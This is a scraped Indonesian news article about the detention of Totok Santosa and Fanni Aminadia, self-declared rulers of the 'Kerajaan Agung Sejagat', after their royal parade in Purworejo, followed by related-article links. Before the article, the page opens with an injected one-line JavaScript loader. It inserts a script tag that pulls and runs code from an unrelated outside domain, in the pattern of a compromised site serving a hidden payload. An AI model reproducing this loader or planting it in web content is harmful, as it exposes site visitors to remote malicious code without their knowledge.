(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA- Totok Santosa dan Fanni Aminadia sempat diarak naik kuda dalam Kirab Budaya dalam rangkaian acara Kerajaan Agung Sejagat (KAS) yang dilaksanakan dari Jumat (10/1) hingga Minggu (12/1/2020).
Hari ini Rabu (15/1/2020), Totok dan Fanni menjadi tahanan Polda Jawa Tengah. Foto mereka memakai baju tahanan warna biru beredar di Whastapp Grup. Dalam foto tersebut Totok yang mengklaim sebagai “raja” dari KAS tampak menundukkan kepala dan tangannya diborgol. Fanni juga memakai baju tahanan warna biru. Ia terlihat menangis saat difoto.
Penampilan Totok dan Fanni yang memakai baju tahanan ini juga terlihat saat konfrensi pers yang digelar di Markas Polda Jateng, Kota Semarang. Saat dihadirkan ke hadapan awak media itu, Fanni Aminadia yang mendaulatkan diri sebagai Kanjeng Ratu Dyah Gitaraja terlihat menangis.
Ia juga tampak menggeleng-gelengkan kepala tanda tidak sepakat dengan apa yang disampaikan Kapolda Jateng Irjen Rycko Amelza Dahniel, kepada awak media tentang latar belakang penangkapannya.
Sementara itu, pasangan Fanni, Totok Santosa, yang bergelar Sinuhun tak banyak bereaksi. Ia hanya terlihat menundukkan kepala sambil mencuri pandang kepada Fani, yang disebut-sebut sebagai ratunya.
Sayang, pantauan Semarangpos.comâ€â€jaringan Suara.com, baik Fanni dan Totok tak mendapat kesempatan memberikan sanggahan atas pernyataan Kapolda Jateng. Mereka langsung digelandang kembali ke ruangan Ditreskrimum Polda Jateng begitu sesi jumpa pers selesai.
Padahal lima hari yang lalu, Totok dan Fanni diarak dalam kirab yang mengambil rute disekitar Desa Pogungjurutengah, Kecamatan Bayan, Purworejo.
Dalam kirab itu, Totok Santosa yang mengklaim dirinya sebagai pemimpin Kerajaan Agung Sejagat terlihat menunggang kuda. Ia memakai baju warna merah maroon dengan banyak lencana menempel di sana.
Terlihat juga songsong atau payung tradisional Jawa di antara foto-foto kirab yang viral di media sosial. Fanni juga naik kuda dan mengikuti di belakang Totok. Ia juga memakai baju yang seragam dengan Totok.
Sejumlah orang juga menjadi peserta kirab tersebut. Ada barisan orang membawa tombak, wanita yang menari hingga sekelompok pria yang menjadi marching band.(suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.